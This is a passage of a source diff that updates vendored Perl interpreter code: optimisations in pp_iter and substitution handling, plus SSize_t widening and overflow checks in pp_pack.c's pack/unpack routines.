                             len = av_tindex(av);
-                            sv = sv_2mortal(newSVavdefelem(av,
-                            /* Resolve a negative index now, unless it points
-                             * before the beginning of the array, in which
-                             * case record it for error reporting in
-                             * magic_setdefelem. */
-                                elem < 0 && len + elem >= 0
-                                    ? len + elem : elem, 1));
+                            /* Resolve a negative index that falls within
+                             * the array.  Leave it negative it if falls
+                             * outside the array.  */
+                             if (elem < 0 && len + elem >= 0)
+                                 elem = len + elem;
+                             if (elem >= 0 && elem <= len)
+                                 /* Falls within the array.  */
+                                 sv = av_nonelem(av,elem);
+                             else
+                                 /* Falls outside the array.  If it is neg-
+                                    ative, magic_setdefelem will use the
+                                    index for error reporting.  */
+                                sv = sv_2mortal(newSVavdefelem(av,elem,1));
                         }
                         else {
                             if (UNLIKELY(localizing)) {
@@ -2829,7 +3799,7 @@
                         }
                         else {
                             if (localizing) {
-                                if (HvNAME_get(hv) && isGV(sv))
+                                if (HvNAME_get(hv) && isGV_or_RVCV(sv))
                                     save_gp(MUTABLE_GV(sv),
                                         !(PL_op->op_flags & OPf_SPECIAL));
                                 else if (preeminent) {
@@ -2866,7 +3836,6 @@
     PERL_CONTEXT *cx;
     SV *oldsv;
     SV **itersvp;
-    SV *retsv;
 
     SV *sv;
     AV *av;
@@ -3029,18 +3998,44 @@
 	DIE(aTHX_ "panic: pp_iter, type=%u", CxTYPE(cx));
     }
 
-    retsv = &PL_sv_yes;
-    if (0) {
-      retno:
-        retsv = &PL_sv_no;
+    /* Try to bypass pushing &PL_sv_yes and calling pp_and(); instead
+     * jump straight to the AND op's op_other */
+    assert(PL_op->op_next->op_type == OP_AND);
+    if (PL_op->op_next->op_ppaddr == Perl_pp_and) {
+        return cLOGOPx(PL_op->op_next)->op_other;
     }
+    else {
+        /* An XS module has replaced the op_ppaddr, so fall back to the slow,
+         * obvious way. */
+        /* pp_enteriter should have pre-extended the stack */
+        EXTEND_SKIP(PL_stack_sp, 1);
+        *++PL_stack_sp = &PL_sv_yes;
+        return PL_op->op_next;
+    }
+
+  retno:
+    /* Try to bypass pushing &PL_sv_no and calling pp_and(); instead
+     * jump straight to the AND op's op_next */
+    assert(PL_op->op_next->op_type == OP_AND);
     /* pp_enteriter should have pre-extended the stack */
-    assert(PL_stack_sp < PL_stack_max);
-    *++PL_stack_sp =retsv;
-
-    return PL_op->op_next;
+    EXTEND_SKIP(PL_stack_sp, 1);
+    /* we only need this for the rare case where the OP_AND isn't
+     * in void context, e.g. $x = do { for (..) {...} };
+     * (or for when an XS module has replaced the op_ppaddr)
+     * but it's cheaper to just push it rather than testing first
+     */
+    *++PL_stack_sp = &PL_sv_no;
+    if (PL_op->op_next->op_ppaddr == Perl_pp_and) {
+        return PL_op->op_next->op_next;
+    }
+    else {
+        /* An XS module has replaced the op_ppaddr, so fall back to the slow,
+         * obvious way. */
+        return PL_op->op_next;
+    }
 }
 
+
 /*
 A description of how taint works in pattern matching and substitution.
 
@@ -3126,6 +4121,7 @@
     char *orig;
     U8 r_flags;
     REGEXP *rx = PM_GETRE(pm);
+    regexp *prog = ReANY(rx);
     STRLEN len;
     int force_on_match = 0;
     const I32 oldsave = PL_savestack_ix;
@@ -3142,10 +4138,12 @@
 
     if (PL_op->op_flags & OPf_STACKED)
 	TARG = POPs;
-    else if (ARGTARG)
-	GETTARGET;
     else {
-	TARG = DEFSV;
+        if (ARGTARG)
+            GETTARGET;
+        else {
+            TARG = DEFSV;
+        }
 	EXTEND(SP,1);
     }
 
@@ -3181,10 +4179,10 @@
     if (TAINTING_get) {
 	rxtainted  = (
 	    (SvTAINTED(TARG) ? SUBST_TAINT_STR : 0)
-	  | (RX_ISTAINTED(rx) ? SUBST_TAINT_PAT : 0)
+	  | (RXp_ISTAINTED(prog) ? SUBST_TAINT_PAT : 0)
 	  | ((pm->op_pmflags & PMf_RETAINT) ? SUBST_TAINT_RETAINT : 0)
-	  | ((once && !(rpm->op_pmflags & PMf_NONDESTRUCT))
-		? SUBST_TAINT_BOOLRET : 0));
+	  | ((  (once && !(rpm->op_pmflags & PMf_NONDESTRUCT))
+             || (PL_op->op_private & OPpTRUEBOOL)) ? SUBST_TAINT_BOOLRET : 0));
 	TAINT_NOT;
     }
 
@@ -3199,7 +4197,7 @@
 				   second time with non-zero. */
 
     /* handle the empty pattern */
-    if (!RX_PRELEN(rx) && PL_curpm && !ReANY(rx)->mother_re) {
+    if (!RX_PRELEN(rx) && PL_curpm && !prog->mother_re) {
         if (PL_curpm == PL_reg_curpm) {
             if (PL_curpm_under) {
                 if (PL_curpm_under == PL_reg_curpm) {
@@ -3212,12 +4210,13 @@
             pm = PL_curpm;
         }
         rx = PM_GETRE(pm);
+        prog = ReANY(rx);
     }
 
 #ifdef PERL_SAWAMPERSAND
-    r_flags = (    RX_NPARENS(rx)
+    r_flags = (    RXp_NPARENS(prog)
                 || PL_sawampersand
-                || (RX_EXTFLAGS(rx) & (RXf_EVAL_SEEN|RXf_PMf_KEEPCOPY))
+                || (RXp_EXTFLAGS(prog) & (RXf_EVAL_SEEN|RXf_PMf_KEEPCOPY))
                 || (rpm->op_pmflags & PMf_KEEPCOPY)
               )
           ? REXEC_COPY_STR
@@ -3250,7 +4249,7 @@
 	    doutf8 = DO_UTF8(dstr);
 	}
 
-	if (SvTAINTED(dstr))
+	if (UNLIKELY(TAINT_get))
 	    rxtainted |= SUBST_TAINT_REPL;
     }
     else {
@@ -3263,12 +4262,12 @@
 #ifdef PERL_ANY_COW
 	&& !was_cow
 #endif
-        && (I32)clen <= RX_MINLENRET(rx)
+        && (I32)clen <= RXp_MINLENRET(prog)
         && (  once
            || !(r_flags & REXEC_COPY_STR)
-           || (!SvGMAGICAL(dstr) && !(RX_EXTFLAGS(rx) & RXf_EVAL_SEEN))
+           || (!SvGMAGICAL(dstr) && !(RXp_EXTFLAGS(prog) & RXf_EVAL_SEEN))
            )
-        && !(RX_EXTFLAGS(rx) & RXf_NO_INPLACE_SUBST)
+        && !(RXp_EXTFLAGS(prog) & RXf_NO_INPLACE_SUBST)
 	&& (!doutf8 || SvUTF8(TARG))
 	&& !(rpm->op_pmflags & PMf_NONDESTRUCT))
     {
@@ -3291,10 +4290,10 @@
 
 	if (once) {
             char *d, *m;
-	    if (RX_MATCH_TAINTED(rx)) /* run time pattern taint, eg locale */
+	    if (RXp_MATCH_TAINTED(prog)) /* run time pattern taint, eg locale */
 		rxtainted |= SUBST_TAINT_PAT;
-	    m = orig + RX_OFFS(rx)[0].start;
-	    d = orig + RX_OFFS(rx)[0].end;
+	    m = orig + RXp_OFFS(prog)[0].start;
+	    d = orig + RXp_OFFS(prog)[0].end;
 	    s = orig;
 	    if (m - s > strend - d) {  /* faster to shorten from end */
                 I32 i;
@@ -3324,14 +4323,15 @@
 	}
 	else {
             char *d, *m;
-            d = s = RX_OFFS(rx)[0].start + orig;
+            d = s = RXp_OFFS(prog)[0].start + orig;
 	    do {
                 I32 i;
 		if (UNLIKELY(iters++ > maxiters))
 		    DIE(aTHX_ "Substitution loop");
-		if (UNLIKELY(RX_MATCH_TAINTED(rx))) /* run time pattern taint, eg locale */
+                /* run time pattern taint, eg locale */
+		if (UNLIKELY(RXp_MATCH_TAINTED(prog)))
 		    rxtainted |= SUBST_TAINT_PAT;
-		m = RX_OFFS(rx)[0].start + orig;
+		m = RXp_OFFS(prog)[0].start + orig;
 		if ((i = m - s)) {
 		    if (s != d)
 			Move(s, d, i, char);
@@ -3341,7 +4341,7 @@
 		    Copy(c, d, clen, char);
 		    d += clen;
 		}
-		s = RX_OFFS(rx)[0].end + orig;
+		s = RXp_OFFS(prog)[0].end + orig;
 	    } while (CALLREGEXEC(rx, s, strend, orig,
 				 s == m, /* don't match same null twice */
 				 TARG, NULL,
@@ -3352,7 +4352,11 @@
 		Move(s, d, i+1, char);		/* include the NUL */
 	    }
 	    SPAGAIN;
-	    mPUSHi(iters);
+            assert(iters);
+            if (PL_op->op_private & OPpTRUEBOOL)
+                PUSHs(&PL_sv_yes);
+            else
+                mPUSHi(iters);
 	}
     }
     else {
@@ -3377,10 +4381,10 @@
 #ifdef PERL_ANY_COW
       have_a_cow:
 #endif
-	if (RX_MATCH_TAINTED(rx)) /* run time pattern taint, eg locale */
+	if (RXp_MATCH_TAINTED(prog)) /* run time pattern taint, eg locale */
 	    rxtainted |= SUBST_TAINT_PAT;
 	repl = dstr;
-        s = RX_OFFS(rx)[0].start + orig;
+        s = RXp_OFFS(prog)[0].start + orig;
 	dstr = newSVpvn_flags(orig, s-orig,
                     SVs_TEMP | (DO_UTF8(TARG) ? SVf_UTF8 : 0));
 	if (!c) {
@@ -3399,20 +4403,20 @@
 	do {
 	    if (UNLIKELY(iters++ > maxiters))
 		DIE(aTHX_ "Substitution loop");
-	    if (UNLIKELY(RX_MATCH_TAINTED(rx)))
+	    if (UNLIKELY(RXp_MATCH_TAINTED(prog)))
 		rxtainted |= SUBST_TAINT_PAT;
-	    if (RX_MATCH_COPIED(rx) && RX_SUBBEG(rx) != orig) {
+	    if (RXp_MATCH_COPIED(prog) && RXp_SUBBEG(prog) != orig) {
 		char *old_s    = s;
 		char *old_orig = orig;
-                assert(RX_SUBOFFSET(rx) == 0);
+                assert(RXp_SUBOFFSET(prog) == 0);
 
-		orig = RX_SUBBEG(rx);
+		orig = RXp_SUBBEG(prog);
 		s = orig + (old_s - old_orig);
 		strend = s + (strend - old_s);
 	    }
-	    m = RX_OFFS(rx)[0].start + orig;
+	    m = RXp_OFFS(prog)[0].start + orig;
 	    sv_catpvn_nomg_maybeutf8(dstr, s, m - s, DO_UTF8(TARG));
-	    s = RX_OFFS(rx)[0].end + orig;
+	    s = RXp_OFFS(prog)[0].end + orig;
 	    if (first) {
 		/* replacement already stringified */
 	      if (clen)
@@ -3421,8 +4425,6 @@
 	    }
 	    else {
 		sv_catsv(dstr, repl);
-		if (UNLIKELY(SvTAINTED(repl)))
-		    rxtainted |= SUBST_TAINT_REPL;
 	    }
 	    if (once)
 		break;
@@ -3460,7 +4462,10 @@
 	    SvPV_set(dstr, NULL);
 
 	    SPAGAIN;
-	    mPUSHi(iters);
+            if (PL_op->op_private & OPpTRUEBOOL)
+                PUSHs(&PL_sv_yes);
+            else
+                mPUSHi(iters);
 	}
     }
 
@@ -3474,7 +4479,7 @@
 	    ((rxtainted & (SUBST_TAINT_STR|SUBST_TAINT_RETAINT)) ==
 				(SUBST_TAINT_STR|SUBST_TAINT_RETAINT))
 	)
-	    (RX_MATCH_TAINTED_on(rx)); /* taint $1 et al */
+	    (RXp_MATCH_TAINTED_on(prog)); /* taint $1 et al */
 
 	if (!(rxtainted & SUBST_TAINT_BOOLRET)
 	    && (rxtainted & (SUBST_TAINT_STR|SUBST_TAINT_PAT))
@@ -3498,8 +4503,9 @@
 PP(pp_grepwhile)
 {
     dSP;
+    dPOPss;
 
-    if (SvTRUEx(POPs))
+    if (SvTRUE_NN(sv))
 	PL_stack_base[PL_markstack_ptr[-1]++] = PL_stack_base[*PL_markstack_ptr];
     ++*PL_markstack_ptr;
     FREETMPS;
@@ -3516,8 +4522,12 @@
 	(void)POPMARK;				/* pop dst */
 	SP = PL_stack_base + POPMARK;		/* pop original mark */
 	if (gimme == G_SCALAR) {
+            if (PL_op->op_private & OPpTRUEBOOL)
+                PUSHs(items ? &PL_sv_yes : &PL_sv_zero);
+            else {
 		dTARGET;
-		XPUSHi(items);
+		PUSHi(items);
+            }
 	}
 	else if (gimme == G_ARRAY)
 	    SP += items;
@@ -3988,16 +4998,6 @@
                 if (UNLIKELY(!SvOK(sv)))
                     DIE(aTHX_ PL_no_usym, "a subroutine");
 
-                if (UNLIKELY(sv == &PL_sv_yes)) { /* unfound import, ignore */
-                    if (PL_op->op_flags & OPf_STACKED) /* hasargs */
-                        SP = PL_stack_base + POPMARK;
-                    else
-                        (void)POPMARK;
-                    if (GIMME_V == G_SCALAR)
-                        PUSHs(&PL_sv_undef);
-                    RETURN;
-                }
-
                 sym = SvPV_nomg_const(sv, len);
                 if (PL_op->op_private & HINT_STRICT_REFS)
                     DIE(aTHX_ "Can't use string (\"%" SVf32 "\"%s) as a subroutine ref while \"strict refs\" in use", sv, len>32 ? "..." : "");
@@ -4140,7 +5140,8 @@
                 AvARRAY(av) = ary;
             }
 
-	    Copy(MARK+1,AvARRAY(av),items,SV*);
+            if (items)
+                Copy(MARK+1,AvARRAY(av),items,SV*);
 	    AvFILLp(av) = items - 1;
 	}
 	if (UNLIKELY((cx->blk_u16 & OPpENTERSUB_LVAL_MASK) == OPpLVAL_INTRO &&
@@ -4197,7 +5198,7 @@
 		    else sv = AvARRAY(av)[i];
 		    if (sv) SP[i+1] = sv;
 		    else {
-			SP[i+1] = newSVavdefelem(av, i, 1);
+			SP[i+1] = av_nonelem(av, i);
 		    }
 		}
 		SP += items;
@@ -4230,6 +5231,21 @@
 	assert(CvXSUB(cv));
 	CvXSUB(cv)(aTHX_ cv);
 
+#if defined DEBUGGING && !defined DEBUGGING_RE_ONLY
+        /* This duplicates the check done in runops_debug(), but provides more
+         * information in the common case of the fault being with an XSUB.
+         *
+         * It should also catch an XSUB pushing more than it extends
+         * in scalar context.
+        */
+        if (PL_curstackinfo->si_stack_hwm < PL_stack_sp - PL_stack_base)
+            Perl_croak_nocontext(
+                "panic: XSUB %s::%s (%s) failed to extend arg stack: "
+                "base=%p, sp=%p, hwm=%p\n",
+                    HvNAME(GvSTASH(CvGV(cv))), GvNAME(CvGV(cv)), CvFILE(cv),
+                    PL_stack_base, PL_stack_sp,
+                    PL_stack_base + PL_curstackinfo->si_stack_hwm);
+#endif
 	/* Enforce some sanity in scalar context. */
 	if (is_scalar) {
             SV **svp = PL_stack_base + markix + 1;
@@ -4320,9 +5336,7 @@
 	 else if (SvNOK(elemsv))
 	      elem = (IV)SvNV(elemsv);
 	 if (elem > 0) {
-	      static const char oom_array_extend[] =
-		"Out of memory during array extend"; /* Duplicated in av.c */
-	      MEM_WRAP_CHECK_1(elem,SV*,oom_array_extend);
+	      MEM_WRAP_CHECK_s(elem,SV*,"Out of memory during array extend");
 	 }
 #endif
 	if (!svp || !*svp) {
@@ -4330,12 +5344,18 @@
 	    if (!defer)
 		DIE(aTHX_ PL_no_aelem, elem);
 	    len = av_tindex(av);
-	    mPUSHs(newSVavdefelem(av,
-	    /* Resolve a negative index now, unless it points before the
-	       beginning of the array, in which case record it for error
-	       reporting in magic_setdefelem. */
-		elem < 0 && len + elem >= 0 ? len + elem : elem,
-		1));
+	    /* Resolve a negative index that falls within the array.  Leave
+	       it negative it if falls outside the array.  */
+	    if (elem < 0 && len + elem >= 0)
+		elem = len + elem;
+	    if (elem >= 0 && elem <= len)
+		/* Falls within the array.  */
+		PUSHs(av_nonelem(av,elem));
+	    else
+		/* Falls outside the array.  If it is negative,
+		   magic_setdefelem will use the index for error reporting.
+		 */
+		mPUSHs(newSVavdefelem(av, elem, 1));
 	    RETURN;
 	}
 	if (UNLIKELY(localizing)) {

Modified: vendor/perl/dist/pp_pack.c
===================================================================
--- vendor/perl/dist/pp_pack.c	2018-11-30 20:25:27 UTC (rev 12125)
+++ vendor/perl/dist/pp_pack.c	2018-12-22 22:55:19 UTC (rev 12126)
@@ -45,11 +45,11 @@
   const char*    grpbeg;   /* 1st char of ()-group  */
   const char*    grpend;   /* end of ()-group       */
   I32      code;     /* template code (!<>)   */
-  I32      length;   /* length/repeat count   */
+  U32      flags;    /* /=4, comma=2, pack=1  */
+                     /*   and group modifiers */
+  SSize_t  length;   /* length/repeat count   */
   howlen_t howlen;   /* how length is given   */ 
   int      level;    /* () nesting level      */
-  U32      flags;    /* /=4, comma=2, pack=1  */
-                     /*   and group modifiers */
   STRLEN   strbeg;   /* offset of group start */
   struct tempsym *previous; /* previous group */
 } tempsym_t;
@@ -112,21 +112,17 @@
 /* CROSSCOMPILE and MULTIARCH are going to affect pp_pack() and pp_unpack().
    --jhi Feb 1999 */
 
-#if U16SIZE > SIZE16 || U32SIZE > SIZE32
-#  if BYTEORDER == 0x1234 || BYTEORDER == 0x12345678    /* little-endian */
-#    define OFF16(p)	((char*)(p))
-#    define OFF32(p)	((char*)(p))
-#  else
-#    if BYTEORDER == 0x4321 || BYTEORDER == 0x87654321  /* big-endian */
-#      define OFF16(p)	((char*)(p) + (sizeof(U16) - SIZE16))
-#      define OFF32(p)	((char*)(p) + (sizeof(U32) - SIZE32))
-#    else
-       ++++ bad cray byte order
-#    endif
-#  endif
-#else
+#if U16SIZE <= SIZE16 && U32SIZE <= SIZE32
 #  define OFF16(p)     ((char *) (p))
 #  define OFF32(p)     ((char *) (p))
+#elif BYTEORDER == 0x1234 || BYTEORDER == 0x12345678    /* little-endian */
+#  define OFF16(p)	((char*)(p))
+#  define OFF32(p)	((char*)(p))
+#elif BYTEORDER == 0x4321 || BYTEORDER == 0x87654321  /* big-endian */
+#  define OFF16(p)	((char*)(p) + (sizeof(U16) - SIZE16))
+#  define OFF32(p)	((char*)(p) + (sizeof(U32) - SIZE32))
+#else
+#  error "bad cray byte order"
 #endif
 
 #define PUSH16(utf8, cur, p, needs_swap)                        \
@@ -195,7 +191,7 @@
 
   PERL_ARGS_ASSERT_MUL128;
 
-  if (!strnEQ(s, "0000", 4)) {  /* need to grow sv */
+  if (! memBEGINs(s, len, "0000")) {  /* need to grow sv */
     SV * const tmpNew = newSVpvs("0000000000");
 
     sv_catsv(tmpNew, sv);
@@ -277,7 +273,7 @@
 	*(U8 *)(s)++)
 
 STATIC bool
-S_utf8_to_bytes(pTHX_ const char **s, const char *end, const char *buf, int buf_len, I32 datumtype)
+S_utf8_to_bytes(pTHX_ const char **s, const char *end, const char *buf, SSize_t buf_len, I32 datumtype)
 {
     UV val;
     STRLEN retlen;
@@ -311,7 +307,7 @@
 	if (bad & 1) {
 	    /* Rewalk the string fragment while warning */
 	    const char *ptr;
-	    const int flags = ckWARN(WARN_UTF8) ? 0 : UTF8_ALLOW_ANY;
+	    const U32 flags = ckWARN(WARN_UTF8) ? 0 : UTF8_ALLOW_ANY;
 	    for (ptr = *s; ptr < from; ptr += UTF8SKIP(ptr)) {
 		if (ptr >= end) break;
 		utf8n_to_uvchr((U8 *) ptr, end-ptr, &retlen, flags);
@@ -361,11 +357,28 @@
     }								\
 } STMT_END
 
+#define SAFE_UTF8_EXPAND(var)	\
+STMT_START {				\
+    if ((var) > SSize_t_MAX / UTF8_EXPAND) \
+        Perl_croak(aTHX_ "%s", "Out of memory during pack()"); \
+    (var) = (var) * UTF8_EXPAND; \
+} STMT_END
+
+#define GROWING2(utf8, cat, start, cur, item_size, item_count)	\
+STMT_START {							\
+    if (SSize_t_MAX / (item_size) < (item_count))		\
+        Perl_croak(aTHX_ "%s", "Out of memory during pack()");	\
+    GROWING((utf8), (cat), (start), (cur), (item_size) * (item_count)); \
+} STMT_END
+
 #define GROWING(utf8, cat, start, cur, in_len)	\
 STMT_START {					\
     STRLEN glen = (in_len);			\
-    if (utf8) glen *= UTF8_EXPAND;		\
-    if ((cur) + glen >= (start) + SvLEN(cat)) {	\
+    STRLEN catcur = (STRLEN)((cur) - (start));	\
+    if (utf8) SAFE_UTF8_EXPAND(glen);		\
+    if (SSize_t_MAX - glen < catcur)		\
+        Perl_croak(aTHX_ "%s", "Out of memory during pack()"); \
+    if (catcur + glen >= SvLEN(cat)) {	\
 	(start) = sv_exp_grow(cat, glen);	\
 	(cur) = (start) + SvCUR(cat);		\
     }						\
@@ -375,7 +388,7 @@
 STMT_START {					\
     const STRLEN glen = (in_len);		\
     STRLEN gl = glen;				\
-    if (utf8) gl *= UTF8_EXPAND;		\
+    if (utf8) SAFE_UTF8_EXPAND(gl);		\
     if ((cur) + gl >= (start) + SvLEN(cat)) {	\
         *cur = '\0';				\
         SvCUR_set((cat), (cur) - (start));	\
@@ -412,16 +425,15 @@
 }
 
 /* Returns the sizeof() struct described by pat */
-STATIC I32
+STATIC SSize_t
 S_measure_struct(pTHX_ tempsym_t* symptr)
 {
-    I32 total = 0;
+    SSize_t total = 0;
 
     PERL_ARGS_ASSERT_MEASURE_STRUCT;
 
     while (next_symbol(symptr)) {
-	I32 len;
-	int size;
+	SSize_t len, size;
 
         switch (symptr->howlen) {
 	  case e_star:
@@ -436,7 +448,7 @@
 
 	size = packprops[TYPE_NO_ENDIANNESS(symptr->code)] & PACK_SIZE_MASK;
 	if (!size) {
-            int star;
+            SSize_t star;
 	    /* endianness doesn't influence the size of a type */
 	    switch(TYPE_NO_ENDIANNESS(symptr->code)) {
 	    default:
@@ -555,16 +567,17 @@
  * Advances char pointer to 1st non-digit char and returns number
  */
 STATIC const char *
-S_get_num(pTHX_ const char *patptr, I32 *lenptr )
+S_get_num(pTHX_ const char *patptr, SSize_t *lenptr )
 {
-  I32 len = *patptr++ - '0';
+  SSize_t len = *patptr++ - '0';
 
   PERL_ARGS_ASSERT_GET_NUM;
 
   while (isDIGIT(*patptr)) {
-    if (len >= 0x7FFFFFFF/10)
+    SSize_t nlen = (len * 10) + (*patptr++ - '0');
+    if (nlen < 0 || nlen/10 != len)
       Perl_croak(aTHX_ "pack/unpack repeat count overflow");
-    len = (len * 10) + (*patptr++ - '0');
+    len = nlen;
   }
   *lenptr = len;
   return patptr;
@@ -812,7 +825,7 @@
 
 =cut */
 
-I32
+SSize_t
 Perl_unpackstring(pTHX_ const char *pat, const char *patend, const char *s, const char *strend, U32 flags)
 {
     tempsym_t sym;
@@ -838,17 +851,17 @@
     return unpack_rec(&sym, s, s, strend, NULL );
 }
 
-STATIC I32
+STATIC SSize_t
 S_unpack_rec(pTHX_ tempsym_t* symptr, const char *s, const char *strbeg, const char *strend, const char **new_s )
 {
     dSP;
     SV *sv = NULL;
-    const I32 start_sp_offset = SP - PL_stack_base;
+    const SSize_t start_sp_offset = SP - PL_stack_base;
     howlen_t howlen;
-    I32 checksum = 0;
+    SSize_t checksum = 0;
     UV cuv = 0;
     NV cdouble = 0.0;
-    const int bits_in_uv = CHAR_BIT * sizeof(cuv);
+    const SSize_t bits_in_uv = CHAR_BIT * sizeof(cuv);
     bool beyond = FALSE;
     bool explicit_length;
     const bool unpack_only_one = (symptr->flags & FLAG_UNPACK_ONLY_ONE) != 0;
@@ -860,7 +873,7 @@
 
     while (next_symbol(symptr)) {
 	packprops_t props;
-	I32 len;
+	SSize_t len;
         I32 datumtype = symptr->code;
         bool needs_swap;
 	/* do first one only unless in list context
@@ -888,8 +901,8 @@
 	props = packprops[TYPE_NO_ENDIANNESS(datumtype)];
 	if (props) {
 	    /* props nonzero means we can process this letter. */
-            const long size = props & PACK_SIZE_MASK;
-            const long howmany = (strend - s) / size;
+            const SSize_t size = props & PACK_SIZE_MASK;
+            const SSize_t howmany = (strend - s) / size;
 	    if (len > howmany)
 		len = howmany;
 
@@ -980,7 +993,7 @@
  		len = 1;
 	    if (utf8) {
 		const char *hop, *last;
-		I32 l = len;
+		SSize_t l = len;
 		hop = last = strbeg;
 		while (hop < s) {
 		    hop += UTF8SKIP(hop);
@@ -1014,7 +1027,7 @@
 	    }
 	    break;
  	case 'x' | TYPE_IS_SHRIEKING: {
-            I32 ai32;
+            SSize_t ai32;
  	    if (!len)			/* Avoid division by 0 */
  		len = 1;
 	    if (utf8) ai32 = utf8_length((U8 *) strbeg, (U8 *) s) % len;
@@ -1049,7 +1062,7 @@
 		goto W_checksum;
 	    }
 	    if (utf8) {
-		I32 l;
+		SSize_t l;
 		const char *hop;
 		for (l=len, hop=s; l>0; l--, hop += UTF8SKIP(hop)) {
 		    if (hop >= strend) {
@@ -1143,7 +1156,7 @@
 	    str = SvPVX(sv);
 	    if (datumtype == 'b') {
 		U8 bits = 0;
-		const I32 ai32 = len;
+		const SSize_t ai32 = len;
 		for (len = 0; len < ai32; len++) {
 		    if (len & 7) bits >>= 1;
 		    else if (utf8) {
@@ -1154,7 +1167,7 @@
 		}
 	    } else {
 		U8 bits = 0;
-		const I32 ai32 = len;
+		const SSize_t ai32 = len;
 		for (len = 0; len < ai32; len++) {
 		    if (len & 7) bits <<= 1;
 		    else if (utf8) {
@@ -1182,7 +1195,7 @@
 	    }
 	    if (datumtype == 'h') {
 		U8 bits = 0;
-		I32 ai32 = len;
+		SSize_t ai32 = len;
 		for (len = 0; len < ai32; len++) {
 		    if (len & 1) bits >>= 4;
 		    else if (utf8) {
@@ -1194,7 +1207,7 @@
 		}
 	    } else {
 		U8 bits = 0;
-		const I32 ai32 = len;
+		const SSize_t ai32 = len;
 		for (len = 0; len < ai32; len++) {
 		    if (len & 1) bits <<= 4;
 		    else if (utf8) {
@@ -1292,7 +1305,7 @@
 		STRLEN retlen;
 		UV auv;
 		if (utf8) {
-		    U8 result[UTF8_MAXLEN];
+		    U8 result[UTF8_MAXLEN+1];
 		    const char *ptr = s;
 		    STRLEN len;
 		    /* Bug: warns about bad utf8 even if we are short on bytes
@@ -1575,7 +1588,7 @@
 	case 'w':
 	    {
 		UV auv = 0;
-		U32 bytes = 0;
+		size_t bytes = 0;
 
 		while (len > 0 && s < strend) {
 		    U8 ch;
@@ -1842,7 +1855,7 @@
     const char *s   = SvPV_const(right, rlen);
     const char *strend = s + rlen;
     const char *patend = pat + llen;
-    I32 cnt;
+    SSize_t cnt;
 
     PUTBACK;
     cnt = unpackstring(pat, patend, s, strend,
@@ -1856,7 +1869,7 @@
 }
 
 STATIC U8 *
-doencodes(U8 *h, const U8 *s, I32 len)
+doencodes(U8 *h, const U8 *s, SSize_t len)
 {
     *h++ = PL_uuemap[len];
     while (len > 2) {
@@ -2089,7 +2102,7 @@
 S_pack_rec(pTHX_ SV *cat, tempsym_t* symptr, SV **beglist, SV **endlist )
 {
     tempsym_t lookahead;
-    I32 items  = endlist - beglist;
+    SSize_t items  = endlist - beglist;
     bool found = next_symbol(symptr);
     bool utf8 = (symptr->flags & FLAG_PARSE_UTF8) ? 1 : 0;
     bool warn_utf8 = ckWARN(WARN_UTF8);
@@ -2107,7 +2120,7 @@
     while (found) {
 	SV *fromstr;
 	STRLEN fromlen;
-	I32 len;
+	SSize_t len;
 	SV *lengthcode = NULL;
         I32 datumtype = symptr->code;
         howlen_t howlen = symptr->howlen;
@@ -2135,7 +2148,7 @@
 	    if (props && !(props & PACK_SIZE_UNPREDICTABLE)) {
 		/* We can process this letter. */
 		STRLEN size = props & PACK_SIZE_MASK;
-		GROWING(utf8, cat, start, cur, (STRLEN) len * size);
+		GROWING2(utf8, cat, start, cur, size, (STRLEN)len);
 	    }
         }
 
@@ -2255,7 +2268,7 @@
 		len = 1;
 	    if (utf8) {
 		char *hop, *last;
-		I32 l = len;
+		SSize_t l = len;
 		hop = last = start;
 		while (hop < cur) {
 		    hop += UTF8SKIP(hop);
@@ -2304,7 +2317,7 @@
 	    }
 	    break;
 	case 'x' | TYPE_IS_SHRIEKING: {
-	    I32 ai32;
+	    SSize_t ai32;
 	    if (!len)			/* Avoid division by 0 */
 		len = 1;
 	    if (utf8) ai32 = utf8_length((U8 *) start, (U8 *) cur) % len;
@@ -2340,7 +2353,7 @@
 		s = aptr;
 		end = aptr + fromlen;
 		fromlen = datumtype == 'Z' ? len-1 : len;
-		while ((I32) fromlen > 0 && s < end) {
+		while ((SSize_t) fromlen > 0 && s < end) {
 		    s += UTF8SKIP(s);
 		    fromlen--;
 		}
@@ -2364,8 +2377,8 @@
 		if (!S_utf8_to_bytes(aTHX_ &aptr, end, cur, fromlen,
 				  datumtype | TYPE_IS_PACK))
 		    Perl_croak(aTHX_ "panic: predicted utf8 length not available, "
-			       "for '%c', aptr=%p end=%p cur=%p, fromlen=%" UVuf,
-			       (int)datumtype, aptr, end, cur, (UV)fromlen);
+			       "for '%c', aptr=%p end=%p cur=%p, fromlen=%zu",
+			       (int)datumtype, aptr, end, cur, fromlen);
 		cur += fromlen;
 		len -= fromlen;
 	    } else if (utf8) {
@@ -2373,7 +2386,7 @@
 		    len = fromlen;
 		    if (datumtype == 'Z') len++;
 		}
-		if (len <= (I32) fromlen) {
+		if (len <= (SSize_t) fromlen) {
 		    fromlen = len;
 		    if (datumtype == 'Z' && fromlen > 0) fromlen--;
 		}
@@ -2393,7 +2406,7 @@
 		    len = fromlen;
 		    if (datumtype == 'Z') len++;
 		}
-		if (len <= (I32) fromlen) {
+		if (len <= (SSize_t) fromlen) {
 		    fromlen = len;
 		    if (datumtype == 'Z' && fromlen > 0) fromlen--;
 		}
@@ -2410,7 +2423,7 @@
 	case 'B':
 	case 'b': {
 	    const char *str, *end;
-	    I32 l, field_len;
+	    SSize_t l, field_len;
 	    U8 bits;
 	    bool utf8_source;
 	    U32 utf8_flags;
@@ -2428,7 +2441,7 @@
 	    if (howlen == e_star) len = fromlen;
 	    field_len = (len+7)/8;
 	    GROWING(utf8, cat, start, cur, field_len);
-	    if (len > (I32)fromlen) len = fromlen;
+	    if (len > (SSize_t)fromlen) len = fromlen;
 	    bits = 0;
 	    l = 0;
 	    if (datumtype == 'B')
@@ -2479,7 +2492,7 @@
 	case 'H':
 	case 'h': {
 	    const char *str, *end;
-	    I32 l, field_len;
+	    SSize_t l, field_len;
 	    U8 bits;
 	    bool utf8_source;
 	    U32 utf8_flags;
@@ -2497,7 +2510,7 @@
 	    if (howlen == e_star) len = fromlen;
 	    field_len = (len+1)/2;
 	    GROWING(utf8, cat, start, cur, field_len);
-	    if (!utf8_source && len > (I32)fromlen) len = fromlen;
+	    if (!utf8_source && len > (SSize_t)fromlen) len = fromlen;
 	    bits = 0;
 	    l = 0;
 	    if (datumtype == 'H')
@@ -2647,7 +2660,7 @@
 		fromstr = NEXTFROM;
 		auv = SvUV_no_inf(fromstr, datumtype);
 		if (utf8) {
-		    U8 buffer[UTF8_MAXLEN], *endb;
+		    U8 buffer[UTF8_MAXLEN+1], *endb;
